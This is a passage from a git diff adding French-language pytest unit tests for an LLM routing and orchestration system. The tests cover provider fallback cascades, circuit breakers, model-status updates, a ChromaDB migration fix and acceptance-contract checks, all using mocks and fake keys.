factory + + src = inspect.getsource(factory.create_engine) + assert "enregistrer_provider_plugins_once()" in src + assert src.index("enregistrer_provider_plugins_once()") > src.index("LLMGateway()") diff --git a/tests/unit/test_bulk_model_status.py b/tests/unit/test_bulk_model_status.py new file mode 100644 index 0000000..403f806 --- /dev/null +++ b/tests/unit/test_bulk_model_status.py @@ -0,0 +1,117 @@ +""" +tests/unit/test_bulk_model_status.py — Bascule groupée du statut des modèles (#T243). + +La route est appelée directement (pas via HTTP) : on teste sa logique, pas la pile +FastAPI ni l'authentification, déjà couvertes ailleurs. Les accès base sont +monkeypatchés — un test ne doit jamais écrire dans `models_registry.db` partagée. + +Scénarios couverts : + - statut invalide refusé (422) ; + - nominal : seuls les modèles au statut différent sont écrits ; + - modèle introuvable signalé sans faire échouer le lot ; + - doublons d'identifiants dédoublonnés ; + - échec d'écriture → statut « partiel », les autres passent quand même. +""" + +import pytest +from fastapi import HTTPException + +from api.routes.context import BulkStatusBody, bulk_set_models_status + + +@pytest.fixture() +def base(monkeypatch): + """Faux catalogue en mémoire : {id: statut}. Retourne le dict pour vérification.""" + catalogue = { + "modele-actif": "active", + "modele-inactif": "inactive", + "autre-actif": "active", + } + ecritures: list[tuple[str, str]] = [] + + def faux_get_model(model_id: str): + if model_id not in catalogue: + return None + return {"id": model_id, "status": catalogue[model_id]} + + def faux_set_status(model_id: str, status: str) -> bool: + if model_id == "modele-en-echec": + return False + catalogue[model_id] = status + ecritures.append((model_id, status)) + return True + + import core.models_db as models_db + + monkeypatch.setattr(models_db, "get_model", faux_get_model) + monkeypatch.setattr(models_db, "set_model_status", faux_set_status) + return catalogue, ecritures + + +def test_statut_invalide_refuse(base): + with pytest.raises(HTTPException) as exc: + bulk_set_models_status(BulkStatusBody(ids=["modele-actif"], status="supprime")) + assert exc.value.status_code == 422 + + +def test_desactivation_nominale(base): + catalogue, ecritures = base + res = bulk_set_models_status( + BulkStatusBody(ids=["modele-actif", "autre-actif"], status="inactive") + ) + assert res["status"] == "ok" + assert sorted(res["modifies"]) == ["autre-actif", "modele-actif"] + assert catalogue["modele-actif"] == "inactive" + assert catalogue["autre-actif"] == "inactive" + assert len(ecritures) == 2 + + +def test_deja_dans_l_etat_non_reecrit(base): + """Un modèle déjà au bon statut ne doit pas générer d'écriture inutile.""" + _, ecritures = base + res = bulk_set_models_status(BulkStatusBody(ids=["modele-inactif"], status="inactive")) + assert res["inchanges"] == ["modele-inactif"] + assert res["modifies"] == [] + assert ecritures == [] + + +def test_introuvable_ne_fait_pas_echouer_le_lot(base): + """Une sélection issue d'une liste rafraîchie entre-temps ne doit pas être perdue.""" + catalogue, _ = base + res = bulk_set_models_status( + BulkStatusBody(ids=["modele-actif", "modele-fantome"], status="inactive") + ) + assert res["modifies"] == ["modele-actif"] + assert res["introuvables"] == ["modele-fantome"] + assert res["status"] == "ok" + assert catalogue["modele-actif"] == "inactive" + + +def test_doublons_dedoublonnes(base): + _, ecritures = base + res = bulk_set_models_status( + BulkStatusBody(ids=["modele-actif", "modele-actif"], status="inactive") + ) + assert res["modifies"] == ["modele-actif"] + assert len(ecritures) == 1 + + +def test_echec_d_ecriture_signale_en_partiel(base, monkeypatch): + catalogue, _ = base + catalogue["modele-en-echec"] = "active" + res = bulk_set_models_status( + BulkStatusBody(ids=["modele-en-echec", "modele-actif"], status="inactive") + ) + assert res["status"] == "partiel" + assert res["echecs"] == ["modele-en-echec"] + # L'échec de l'un n'empêche pas l'autre : le lot n'est pas transactionnel, et + # c'est voulu — on ne veut pas perdre 40 désactivations pour une ligne verrouillée. + assert res["modifies"] == ["modele-actif"] + + +def test_liste_vide_refusee(): + """`min_length=1` : un lot vide est une erreur d'appel, pas un no-op silencieux.""" + from pydantic import ValidationError + + with pytest.raises(ValidationError): + BulkStatusBody(ids=[], status="inactive") diff --git a/tests/unit/test_cascade_erreur_structuree.py b/tests/unit/test_cascade_erreur_structuree.py new file mode 100644 index 0000000..e71056a --- /dev/null +++ b/tests/unit/test_cascade_erreur_structuree.py @@ -0,0 +1,239 @@ +"""test_cascade_erreur_structuree.py — #T265. + +Une erreur de provider ne doit JAMAIS devenir un succès vide. + +Mesuré en prod le 10/08/2026 : `generate_structured()` de gemini_native avalait +toute exception et renvoyait `{}`. `FallbackProvider` recevait une valeur de +retour, donc concluait au succès : pas de bascule sur le modèle suivant, et un +succès enregistré au circuit breaker (le modèle restait « sain » et était +re-choisi). Un 403 sur `gemini-3.5-flash-free` a ainsi tué un plan complet en +2 ms — « Le Planner a généré un DAG vide (plan: []) » — alors que 6 clés Gemini +et toute la cascade attendaient derrière. + +Ces tests couvrent les deux niveaux : +- le provider lève bien au lieu de renvoyer {} (les 4 sorties en échec) ; +- la cascade bascule réellement et compte l'échec au circuit breaker. +""" +from unittest.mock import Mock, patch + +import pytest +import requests + +from core.anthropic_native_provider import AnthropicNativeProvider +from core.gemini_native import GeminiNativeProvider, GeminiStructuredError +from core.llm.circuit_breaker import CircuitBreaker +from core.llm.providers.base import LLMProvider +from core.llm.providers.deepseek import FallbackProvider + + +@pytest.fixture(autouse=True) +def reset_circuit_breakers(): + CircuitBreaker._registry.clear() + yield + CircuitBreaker._registry.clear() + + +@pytest.fixture +def provider(): + return GeminiNativeProvider( + api_key="test-key-fake", + model="gemini-3.5-flash", + enable_explicit_cache=False, + ) + + +def _reponse(payload: dict) -> Mock: + """Réponse HTTP 200 mockée portant le corps JSON donné.""" + reponse = Mock() + reponse.status_code = 200 + reponse.json.return_value = payload + reponse.raise_for_status = Mock() + return reponse + + +# ────────────────────────────────────────────────────────────────── +# Niveau 1 — le provider lève au lieu de renvoyer {} +# ────────────────────────────────────────────────────────────────── + +class TestGeminiStructuredLeve: + """Les 4 sorties en échec de generate_structured() lèvent.""" + + @patch("core.gemini_native.requests.post") + def test_erreur_http_403_est_relevee(self, mock_post, provider): + """Le cas mesuré en prod : un 403 ne doit pas se transformer en {}.""" + mock_post.side_effect = requests.exceptions.HTTPError( + "403 Client Error: Forbidden for url: https://...?key=***" + ) + + with pytest.raises(requests.exceptions.HTTPError): + provider.generate_structured("Sys", "User", schema={}) + + @patch("core.gemini_native.requests.post") + def test_message_429_preserve_pour_la_cascade(self, mock_post, provider): + """La re-levée doit être à l'identique : la cascade lit le message. + + `FallbackProvider` cherche « 429 » / « rate limit » dans le message pour + décider de retenter le MÊME modèle avant de basculer. Envelopper + l'exception dans un type maison casserait cette détection. + """ + mock_post.side_effect = requests.exceptions.HTTPError( + "429 Client Error: Too Many Requests" + ) + + with pytest.raises(requests.exceptions.HTTPError) as exc: + provider.generate_structured("Sys", "User", schema={}) + + assert "429" in str(exc.value) + + @patch("core.gemini_native.requests.post") + def test_json_invalide_leve(self, mock_post, provider): + mock_post.return_value = _reponse({ + "candidates": [{"content": {"parts": [{"text": "ceci n'est pas du JSON"}]}}], + "usageMetadata": {"promptTokenCount": 5, "candidatesTokenCount": 3}, + }) + + with pytest.raises(GeminiStructuredError, match="JSON invalide"): + provider.generate_structured("Sys", "User", schema={}) + + @patch("core.gemini_native.requests.post") + def test_aucun_candidat_leve_avec_le_motif(self, mock_post, provider): + """Prompt bloqué : le motif doit rester diagnosticable dans l'erreur.""" + mock_post.return_value = _reponse({ + "candidates": [], + "promptFeedback": {"blockReason": "SAFETY"}, + }) + + with pytest.raises(GeminiStructuredError, match="SAFETY"): + provider.generate_structured("Sys", "User", schema={}) + + @patch("core.gemini_native.requests.post") + def test_parts_vides_leve_avec_le_motif(self, mock_post, provider): + """finishReason=MAX_TOKENS : réponse tronquée, donc inexploitable.""" + mock_post.return_value = _reponse({ + "candidates": [{"content": {"parts": []}, "finishReason": "MAX_TOKENS"}], + }) + + with pytest.raises(GeminiStructuredError, match="MAX_TOKENS"): + provider.generate_structured("Sys", "User", schema={}) + + @patch("core.gemini_native.requests.post") + def test_reponse_valide_inchangee(self, mock_post, provider): + """Garde-fou : le chemin nominal ne doit pas être affecté.""" + mock_post.return_value = _reponse({ + "candidates": [{"content": {"parts": [{"text": '{"plan": ["etape"]}'}]}}], + "usageMetadata": {"promptTokenCount": 5, "candidatesTokenCount": 3}, + }) + + assert provider.generate_structured("Sys", "User", schema={}) == {"plan": ["etape"]} + + +class TestAnthropicStructuredLeve: + """Même famille côté Anthropic natif : pas de tool_use → pas un succès.""" + + @patch("core.openai_compat_provider.SharedHTTPPool.get_session") + def test_absence_de_tool_use_leve(self, mock_session): + reponse = _reponse({"content": [{"type": "text", "text": "blabla"}], "usage": {}}) + mock_session.return_value.post.return_value = reponse + + fournisseur = AnthropicNativeProvider(api_key="test-key-fake", model="claude-fable-5") + + with pytest.raises(RuntimeError, match="tool_use"): + fournisseur.generate_structured("Sys", "User", schema={}) + + +# ────────────────────────────────────────────────────────────────── +# Niveau 2 — la cascade bascule vraiment (le vrai sujet de #T265) +# ────────────────────────────────────────────────────────────────── + +class _ProviderSain(LLMProvider): + """Provider de secours minimal, deuxième dans la cascade. + + Hérite de `LLMProvider` — comme les vrais providers depuis #T240 : c'est la + classe de base qui fournit `generate_structured_async()`. Un stub qui ne + l'hériterait pas rejouerait le bug #T240 (AttributeError avalé) au lieu de + tester #T265. + """ + + def __init__(self): + self.appels = 0 + + def generate(self, system_prompt, user_prompt, **kwargs): + return "secours" + + def generate_structured(self, system_prompt, user_prompt, schema, **kwargs): + self.appels += 1 + return {"plan": ["secours"]} + + +class TestCascadeBascule: + + @patch("core.gemini_native.requests.post") + def test_403_gemini_fait_basculer_sur_le_modele_suivant(self, mock_post, provider): + """Le scénario de prod, de bout en bout : 403 → le suivant répond.""" + mock_post.side_effect = requests.exceptions.HTTPError("403 Client Error: Forbidden") + secours = _ProviderSain() + + cascade = FallbackProvider([ + ("gemini-3.5-flash-free", provider), + ("modele-de-secours", secours), + ]) + + resultat = cascade.generate_structured("Sys", "User", schema={}) + + # Avant #T265 : resultat == {} et secours.appels == 0. + assert resultat == {"plan": ["secours"]} + assert secours.appels == 1 + + @patch("core.gemini_native.requests.post") + def test_l_echec_est_compte_au_circuit_breaker(self, mock_post, provider): + """Sans exception, le CB enregistrait un SUCCÈS pour un appel raté.""" + mock_post.side_effect = requests.exceptions.HTTPError("403 Client Error: Forbidden") + + cascade = FallbackProvider([ + ("gemini-3.5-flash-free", provider), + ("modele-de-secours", _ProviderSain()), + ]) + cascade.generate_structured("Sys", "User", schema={}) + + cb = CircuitBreaker.get_or_create("gemini-3.5-flash-free") + assert cb.total_failures >= 1, "l'échec doit être imputé au modèle fautif" + assert cb.total_calls == 0, "aucun succès ne doit être enregistré" + + @pytest.mark.asyncio + @patch("core.gemini_native.requests.post") + async def test_bascule_aussi_sur_le_chemin_async(self, mock_post, provider): + """C'est le chemin du Planner (`generate_structured_async`).""" + mock_post.side_effect = requests.exceptions.HTTPError("403 Client Error: Forbidden") + secours = _ProviderSain() + + cascade = FallbackProvider([ + ("gemini-3.5-flash-free", provider), + ("modele-de-secours", secours), + ]) + + resultat = await cascade.generate_structured_async("Sys", "User", schema={}) + + assert resultat == {"plan": ["secours"]} + assert secours.appels == 1 + + def test_un_dict_vide_ne_declenche_aucune_bascule(self): + """Caractérisation du mécanisme — la raison d'être du correctif. + + Ce test ne porte pas sur gemini_native mais sur le contrat de la + cascade : tant qu'un provider RENVOIE quelque chose, même vide, il est + réputé avoir réussi. C'est pour cela que le correctif devait lever, et + non renvoyer un dict vide « mieux journalisé ». + """ + class _ProviderQuiRenvoieVide: + def generate_structured(self, system_prompt, user_prompt, schema, **kwargs): + return {} + + secours = _ProviderSain() + cascade = FallbackProvider([ + ("modele-muet", _ProviderQuiRenvoieVide()), + ("modele-de-secours", secours), + ]) + + assert cascade.generate_structured("Sys", "User", schema={}) == {} + assert secours.appels == 0 + assert CircuitBreaker.get_or_create("modele-muet").total_calls == 1 diff --git a/tests/unit/test_cerebras_provider.py b/tests/unit/test_cerebras_provider.py new file mode 100644 index 0000000..cc89cae --- /dev/null +++ b/tests/unit/test_cerebras_provider.py @@ -0,0 +1,84 @@ +import os + +import pytest + +from core.llm_gateway import LLMGateway +from core.models_db import get_model, get_provider + + +def test_cerebras_api_key_env(): + """Vérifie le format des clés Cerebras si présentes (skip en CI sans secret).""" + keys = [ + ("CEREBRAS_API_KEY", os.getenv("CEREBRAS_API_KEY")), + ("CEREBRAS_PAYANT_API_KEY", os.getenv("CEREBRAS_PAYANT_API_KEY")), + ] + present = [(name, key) for name, key in keys if key] + if not present: + pytest.skip("Aucune clé Cerebras configurée (CI sans secret)") + for name, key in present: + assert key.startswith("csk-"), f"{name} doit commencer par 'csk-'" + + +def test_cerebras_models_db_registration(): + """Vérifie que le provider et les modèles Cerebras sont enregistrés dans models_registry.db.""" + provider = get_provider("cerebras") + assert provider is not None, "Le provider 'cerebras' doit exister dans la BDD" + assert provider["type"] == "pay_as_you_go" + + for model_id in ["gpt-oss-120b", "gemma-4-31b-cerebras", "zai-glm-4.7"]: + m = get_model(model_id) + assert m is not None, f"Le modèle '{model_id}' doit exister dans la BDD" + assert m["provider_id"] == "cerebras" + assert m["tier"] == "paid" + + +def test_cerebras_free_path_prefers_free_key(monkeypatch): + """cerebras-free → gpt-oss-120b doit binder la clé free, pas la payante.""" + monkeypatch.setenv("CEREBRAS_API_KEY", "csk-free-test-key") + monkeypatch.setenv("CEREBRAS_PAYANT_API_KEY", "csk-paid-test-key") + gateway = LLMGateway() + free_bound = gateway.providers.get("gpt-oss-120b") + paid_bound = gateway.providers.get("gemma-4-31b-cerebras") + assert free_bound is not None + assert paid_bound is not None + assert free_bound.api_key == "csk-free-test-key" + assert paid_bound.api_key == "csk-paid-test-key" + + +@pytest.mark.live +def test_cerebras_live_generation(): + """Test d'inférence en direct sur l'API Cerebras pour valider la clé et la latence. + + Marqué `live` : exclu de la suite par défaut, relançable avec `python -m pytest -m live`. + Le .env n'est chargé qu'ICI (jamais au niveau module) : un load_dotenv() au + collect injecterait les secrets du .env dans le process de TOUTE la suite + unitaire (ex: clés LANGFUSE → client réseau réel → garde-fou réseau). + """ + from dotenv import load_dotenv + + load_dotenv() + free_key = os.getenv("CEREBRAS_API_KEY") + paid_key = os.getenv("CEREBRAS_PAYANT_API_KEY") + if not free_key and not paid_key: + pytest.skip("Aucune clé Cerebras configurée") + + gateway = LLMGateway() + provider_gemma = gateway.providers.get("gemma-4-31b-cerebras") + assert provider_gemma is not None, "Le provider 'gemma-4-31b-cerebras' doit être instancié dans LLMGateway" + + res_gemma = provider_gemma.generate( + system_prompt="Tu es un assistant concis.", + user_prompt="Bonjour ! Réponds en un seul mot: OK", + max_tokens=100, + ) + assert len(res_gemma) > 0, "La réponse de gemma-4-31b-cerebras ne doit pas être vide" + + provider_oss = gateway.providers.get("gpt-oss-120b") + assert provider_oss is not None, "Le provider 'gpt-oss-120b' doit être instancié dans LLMGateway" + + res_oss = provider_oss.generate( + system_prompt="Tu es un assistant concis.", + user_prompt="Bonjour ! Réponds en un seul mot: OK", + max_tokens=300, + ) + assert len(res_oss) > 0, "La réponse de gpt-oss-120b ne doit pas être vide" diff --git a/tests/unit/test_chaos_timeout.py b/tests/unit/test_chaos_timeout.py index adbd94b..879d4e0 100644 --- a/tests/unit/test_chaos_timeout.py +++ b/tests/unit/test_chaos_timeout.py @@ -8,11 +8,12 @@ 4. Erreur réseau → comportement circuit breaker """ import asyncio -import pytest from unittest.mock import AsyncMock -from core.llm.circuit_breaker import CircuitBreaker, CircuitBreakerState as CircuitState +import pytest +from core.llm.circuit_breaker import CircuitBreaker +from core.llm.circuit_breaker import CircuitBreakerState as CircuitState # ─── 1. Timeout → cascade fallback ─────────────────────────────────────────── @@ -27,13 +28,13 @@ async def flaky_call(): nonlocal call_count call_count += 1 if call_count <= 2: - raise asyncio.TimeoutError("Timeout simulé") + raise TimeoutError("Timeout simulé") return "ok" for _ in range(2): try: await cb.call(flaky_call) - except (asyncio.TimeoutError, Exception): + except (TimeoutError, Exception): pass assert cb.state == CircuitState.OPEN, "Après 2 échecs, le circuit doit être OPEN" @@ -45,7 +46,7 @@ async def test_timeout_circuit_opens_and_half_opens(): cb = CircuitBreaker(name="test_half_open", failure_threshold=3, recovery_timeout=0.05) async def always_timeout(): - raise asyncio.TimeoutError("timeout") + raise TimeoutError("timeout") for _ in range(3): try: diff --git a/tests/unit/test_chroma_memory_severity.py b/tests/unit/test_chroma_memory_severity.py new file mode 100644 index 0000000..2c50689 --- /dev/null +++ b/tests/unit/test_chroma_memory_severity.py @@ -0,0 +1,123 @@ +""" +tests/unit/test_chroma_memory_severity.py — Régression #T252. + +Symptôme production (Deck, 10/08) : à chaque cycle du Dreamer, l'étape 2.8 +journalisait : + [DREAMER] [Etape 2.8] ChromaDB non disponible (non bloquant) : + invalid literal for int() with base 10: 'minor' + +Cause racine : la colonne `facts.severity` est TEXT depuis la V9 +('minor'/'major'/'critical', cf. schéma memory_db.py), mais +`migrate_facts_from_sqlite` la castait en `int()` → ValueError sur le premier +fait non déprécié, propagé jusqu'au try/except de l'étape 2.8 qui le masquait +sous un faux « ChromaDB non disponible ». + +Ce test reproduit le scénario : une vraie base SQLite avec un fait +severity='minor' et une fausse collection ChromaDB (aucun backend réel). +""" + +import asyncio +import sqlite3 + +import pytest + +from memory.chroma_memory import ChromaMemory + + +class FakeCollection: + """Fausse collection ChromaDB : mémorise les upserts, aucun backend réel.""" + + def __init__(self): + self.upserts = [] + + def get(self, **kwargs): + return {"ids": []} + + def upsert(self, **kwargs): + self.upserts.append(kwargs) + + +@pytest.fixture +def chroma_memory(): + """ChromaMemory sans __init__ (évite PersistentClient et le modèle ONNX).""" + mem = object.__new__(ChromaMemory) + mem.facts_col = FakeCollection() + return mem + + +def _seed_facts_db(tmp_path, severity: str = "minor"): + """Crée une base memory.db minimale avec un fait V9 (severity TEXT).""" + db = tmp_path / "memory.db" + conn = sqlite3.connect(db) + conn.execute( + """ + CREATE TABLE facts ( + id INTEGER PRIMARY KEY, + category TEXT, + title TEXT, + content TEXT, + tags TEXT, + severity TEXT DEFAULT 'minor', + created_at REAL, + is_deprecated INTEGER DEFAULT 0 + ) + """ + ) + conn.execute( + "INSERT INTO facts (category, title, content, severity) VALUES (?, ?, ?, ?)", + ("lecon", "Titre de test", "Contenu de test", severity), + ) + conn.commit() + conn.close() + return str(db) + + +def test_migrate_facts_avec_severity_texte(chroma_memory, tmp_path): + """ + Un fait V9 avec severity='minor' (TEXT) doit migrer sans lever d'exception : + la métadonnée ChromaDB stocke la chaîne telle quelle, pas un int(). + """ + db_path = _seed_facts_db(tmp_path) + + result = asyncio.run(chroma_memory.migrate_facts_from_sqlite(db_path)) + + assert result["migrated"] == 1 + assert result["skipped"] == 0 + assert len(chroma_memory.facts_col.upserts) == 1 + metadata = chroma_memory.facts_col.upserts[0]["metadatas"][0] + assert metadata["severity"] == "minor" + + +def test_migrate_facts_severity_numerique_legacy(chroma_memory, tmp_path): + """ + Tolérance legacy : une ancienne base avec severity numérique (int SQLite) + doit aussi migrer (str() gère les deux formes). + """ + db = tmp_path / "memory_legacy.db" + conn = sqlite3.connect(db) + conn.execute( + """ + CREATE TABLE facts ( + id INTEGER PRIMARY KEY, + category TEXT, + title TEXT, + content TEXT, + tags TEXT, + severity TEXT, + created_at REAL, + is_deprecated INTEGER DEFAULT 0 + ) + """ + ) + conn.execute( + "INSERT INTO facts (category, title, content, severity) VALUES (?, ?, ?, ?)", + ("lecon", "Titre legacy", "Contenu legacy", 2), + ) + conn.commit() + conn.close() + + result = asyncio.run(chroma_memory.migrate_facts_from_sqlite(str(db))) + + assert result["migrated"] == 1 + metadata = chroma_memory.facts_col.upserts[0]["metadatas"][0] + assert metadata["severity"] == "2" diff --git a/tests/unit/test_circuit_breaker.py b/tests/unit/test_circuit_breaker.py index 7a1e257..da195b3 100644 --- a/tests/unit/test_circuit_breaker.py +++ b/tests/unit/test_circuit_breaker.py @@ -139,7 +139,7 @@ def test_live_latency_penalty_scales_with_latency(): def test_live_latency_penalty_is_capped(): """La pénalité doit rester plafonnée (tie-breaker, pas un facteur dominant).""" - from core.llm_gateway import get_live_latency_penalty, LIVE_LATENCY_MAX_PENALTY + from core.llm_gateway import LIVE_LATENCY_MAX_PENALTY, get_live_latency_penalty very_slow_cb = CircuitBreaker.get_or_create("routing-latency-model-very-slow") very_slow_cb.record_success(latency=60.0) # 60s, extrême diff --git a/tests/unit/test_coding_front.py b/tests/unit/test_coding_front.py new file mode 100644 index 0000000..db98714 --- /dev/null +++ b/tests/unit/test_coding_front.py @@ -0,0 +1,123 @@ +""" +tests/unit/test_coding_front.py — Coding front (#T204). + +Vérifie la détection de complexité déterministe, le routage moyen/fort, +l'escalade automatique en filet et le forçage de tier — sans réseau +(gateway factice injectée). +""" + +import pytest + +from services.coding_front import ( + MIN_USABLE_RESPONSE_CHARS, + detect_code_complexity, + run_coding_task, +) + +_REPONSE_OK = "```python\ndef tri_fusion(t):\n return sorted(t)\n```\nExplication concise." + + +class _FakeProvider: + def __init__(self, response=None, raise_error=False): + self.response = response + self.raise_error = raise_error + self.calls = 0 + + async def generate_async(self, system_prompt, user_prompt, **kwargs): + self.calls += 1 + if self.raise_error: + raise RuntimeError("cascade épuisée (simulée)") + return self.response + + +class _FakeGateway: + """Gateway factice : un provider par tier, journalise les tiers demandés.""" + + def __init__(self, providers_by_tier): + self.providers_by_tier = providers_by_tier + self.requested_tiers = [] + + def get_provider_for_tier(self, tier, config, elo_order=None): + self.requested_tiers.append(tier) + return f"tier-{tier}", self.providers_by_tier[tier] + + +# ── Détection de complexité ────────────────────────────────────────────────── + +def test_prompt_court_simple(): + assert detect_code_complexity("écris une fonction de tri fusion en python") is False + + +def test_mot_cle_structurel_complexe(): + assert detect_code_complexity("refactore le module de routage") is True + + +def test_prompt_long_complexe(): + assert detect_code_complexity("x" * 300) is True + + +def test_multi_fichiers_complexe(): + fichiers = ["a.py", "b.py", "c.py"] + assert detect_code_complexity("corrige le bug", fichiers) is True + assert detect_code_complexity("corrige le bug", fichiers[:2]) is False + + +# ── Routage et escalade ────────────────────────────────────────────────────── + +@pytest.mark.asyncio +async def test_tache_simple_reste_au_tier_moyen(): + gw = _FakeGateway({"moyen": _FakeProvider(_REPONSE_OK)}) + result = await run_coding_task("écris un décorateur de cache", gateway=gw, config={}) + assert result["tier_used"] == "moyen" + assert result["escalated"] is False + assert gw.requested_tiers == ["moyen"] + + +@pytest.mark.asyncio +async def test_tache_complexe_va_directement_au_fort(): + gw = _FakeGateway({"fort": _FakeProvider(_REPONSE_OK)}) + result = await run_coding_task( + "refactore l'architecture du module de cascade", gateway=gw, config={} + ) + assert result["tier_used"] == "fort" + assert result["complex"] is True + assert result["escalated"] is False + + +@pytest.mark.asyncio +async def test_escalade_si_cascade_moyen_echoue(): + moyen = _FakeProvider(raise_error=True) + fort = _FakeProvider(_REPONSE_OK) + gw = _FakeGateway({"moyen": moyen, "fort": fort}) + result = await run_coding_task("écris un parseur ini", gateway=gw, config={}) + assert result["escalated"] is True + assert result["tier_used"] == "fort" + assert moyen.calls == 1 and fort.calls == 1 + + +@pytest.mark.asyncio +async def test_escalade_si_reponse_moyen_vide(): + gw = _FakeGateway({ + "moyen": _FakeProvider("ok"[: MIN_USABLE_RESPONSE_CHARS - 1]), + "fort": _FakeProvider(_REPONSE_OK), + }) + result = await run_coding_task("écris un parseur ini", gateway=gw, config={}) + assert result["escalated"] is True + assert result["response"] == _REPONSE_OK + + +@pytest.mark.asyncio +async def test_force_tier_court_circuite_la_detection(): + gw = _FakeGateway({"fort": _FakeProvider(_REPONSE_OK)}) + result = await run_coding_task( + "écris un one-liner", force_tier="fort", gateway=gw, config={} + ) + assert result["tier_used"] == "fort" + assert result["complex"] is False + + +@pytest.mark.asyncio +async def test_echec_du_fort_remonte_une_erreur(): + gw = _FakeGateway({"fort": _FakeProvider(raise_error=False, response="")}) + with pytest.raises(RuntimeError, match="utilisable"): + await run_coding_task("refactore toute l'architecture", gateway=gw, config={}) diff --git a/tests/unit/test_contrat_sur_dag_echoue.py b/tests/unit/test_contrat_sur_dag_echoue.py new file mode 100644 index 0000000..e564019 --- /dev/null +++ b/tests/unit/test_contrat_sur_dag_echoue.py @@ -0,0 +1,242 @@ +""" +test_contrat_sur_dag_echoue.py — Les deux verrous de #T253, corrigés. + +Mesure du 10/08 en prod : 7 plans, **0 critère d'acceptation**, **0 revue lancée**. +Deux causes distinctes, deux correctifs, deux séries de tests : + +1. le champ `criteres_acceptation` était OPTIONNEL au schéma du Planner — un + modèle ne renseigne de façon fiable que ce que `required` impose ; +2. `core/engine.py` ne lançait la revue que si le DAG s'était terminé SANS + erreur — or c'est justement quand une branche échoue qu'une preuve mécanique + tranche mieux qu'un avis. +""" + +import asyncio +import os +import sys +from unittest.mock import AsyncMock, MagicMock + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.acceptance_contract import Critere, RapportContrat, ResultatCritere +from core.review_loop import ReviewLoop +from core.state import GlobalState, StateUpdate + + +class _EngineMock: + def __init__(self): + self.state = GlobalState(session_id="sess_contrat_echec") + self._history_lock = asyncio.Lock() + self.agents = {} + + +def _boucle(criteres, rapport, monkeypatch): + engine = _EngineMock() + if criteres is not None: + engine.state.history.append(StateUpdate( + agent_name="planner", status="success", + metadata={"contrat_acceptation": criteres}, + )) + boucle = ReviewLoop(engine) + if rapport is not None: + monkeypatch.setattr("core.review_loop.verifier_contrat", lambda c, **kw: rapport) + return boucle + + +def _rapport(*verdicts): + return RapportContrat([ + ResultatCritere(Critere("commande", "pytest", description="les tests passent"), v, "détail") + for v in verdicts + ]) + + +CRITERES = [{"type": "commande", "valeur": "pytest"}] + + +class TestContratSeul: + """Gap 2 : le contrat est évalué même quand le DAG a échoué.""" + + def test_contrat_satisfait_sauve_l_objectif(self, monkeypatch): + monkeypatch.delenv("MOTEUR_CONTRAT_SUR_ECHEC", raising=False) + boucle = _boucle(CRITERES, _rapport(True, True), monkeypatch) + + assert asyncio.run(boucle.contrat_seul()) is True + + def test_contrat_en_echec_confirme_l_erreur(self, monkeypatch): + monkeypatch.delenv("MOTEUR_CONTRAT_SUR_ECHEC", raising=False) + boucle = _boucle(CRITERES, _rapport(True, False), monkeypatch) + + assert asyncio.run(boucle.contrat_seul()) is False + + def test_sans_criteres_aucun_avis(self, monkeypatch): + """Sans contrat, l'appelant doit garder son comportement d'avant.""" + boucle = _boucle(None, None, monkeypatch) + assert asyncio.run(boucle.contrat_seul()) is None + + def test_contrat_non_determinable_aucun_avis(self, monkeypatch): + monkeypatch.delenv("MOTEUR_CONTRAT_SUR_ECHEC", raising=False) + boucle = _boucle(CRITERES, _rapport(None, None), monkeypatch) + assert asyncio.run(boucle.contrat_seul()) is None + + def test_aucun_appel_llm(self, monkeypatch): + """Après un DAG en échec, payer un avis de complaisance n'a pas de sens.""" + monkeypatch.delenv("MOTEUR_CONTRAT_SUR_ECHEC", raising=False) + boucle = _boucle(CRITERES, _rapport(True), monkeypatch) + reviewer = MagicMock() + reviewer.invoke = AsyncMock() + boucle._engine.agents["reviewer"] = reviewer + + asyncio.run(boucle.contrat_seul()) + + reviewer.invoke.assert_not_called() + + def test_evenement_emis_avec_son_contexte(self, monkeypatch): + monkeypatch.delenv("MOTEUR_CONTRAT_SUR_ECHEC", raising=False) + boucle = _boucle(CRITERES, _rapport(True), monkeypatch) + recus = [] + + async def _on_event(nom, charge): + recus.append((nom, charge)) + + asyncio.run(boucle.contrat_seul(on_event=_on_event)) + + assert recus[0][0] == "contract_checked" + assert recus[0][1]["contexte"] == "dag_en_echec" + assert recus[0][1]["satisfied"] is True + + @pytest.mark.parametrize("valeur", ["0", "false", "off", "no"]) + def test_kill_switch(self, monkeypatch, valeur): + monkeypatch.setenv("MOTEUR_CONTRAT_SUR_ECHEC", valeur) + boucle = _boucle(CRITERES, _rapport(True), monkeypatch) + assert asyncio.run(boucle.contrat_seul()) is None + + +class TestAbsolutionGitApresContrat: + """ + Bugbot High : `has_error=False` ne suffit pas — `_finalize_git` exige + que TOUTES les tâches soient « success », sinon rollback Git. + """ + + def test_finalize_git_rollback_si_tache_encore_en_erreur(self): + from core.engine import Engine + + engine = Engine(session_id="t253-git-rollback") + captured = {} + + def fake(branch, success, sid, repo_path="."): + captured["success"] = success + return "ok" + + engine._finalize_git( + "agent/run", False, {"ok": "success", "ko": "error"}, fake, + ) + assert captured["success"] is False + + def test_finalize_git_merge_apres_absolution_des_statuts(self): + from core.engine import Engine + + engine = Engine(session_id="t253-git-merge") + captured = {} + + def fake(branch, success, sid, repo_path="."): + captured["success"] = success + return "ok" + + # Même logique que `_handle_dag_execution` quand contrat_seul → True + tasks_status = {"ok": "success", "ko": "error", "bloquee": "blocked"} + for tid, statut in list(tasks_status.items()): + if statut in ("error", "blocked"): + tasks_status[tid] = "success" + + engine._finalize_git("agent/run", False, tasks_status, fake) + assert captured["success"] is True + assert all(s == "success" for s in tasks_status.values()) + + +class TestSchemaDuPlanner: + """Gap 1 : le champ doit être exigé, sinon il n'est jamais produit.""" + + def test_criteres_acceptation_est_obligatoire(self): + """ + Le schéma est construit dans `invoke()` : on capture celui qui part + réellement au provider, plutôt que de relire le fichier source. + """ + from agents.planner import PlannerAgent + from core.state import TaskPayload + + captures = {} + + async def _generate_structured_async(system_prompt, user_prompt, schema, **kw): + captures["schema"] = schema + return {"plan": [], "criteres_acceptation": []} + + provider = MagicMock() + provider.generate_structured_async = _generate_structured_async + gateway = MagicMock() + gateway.get_provider.return_value = provider + gateway.get_provider_for_tier.return_value = ("tier-fort", provider) + + planner = PlannerAgent(llm_gateway=gateway, provider_name="fort") + asyncio.run(planner.invoke(TaskPayload(task_objective="objectif", metadata={"session_id": "s"}))) + + schema = captures["schema"] + assert 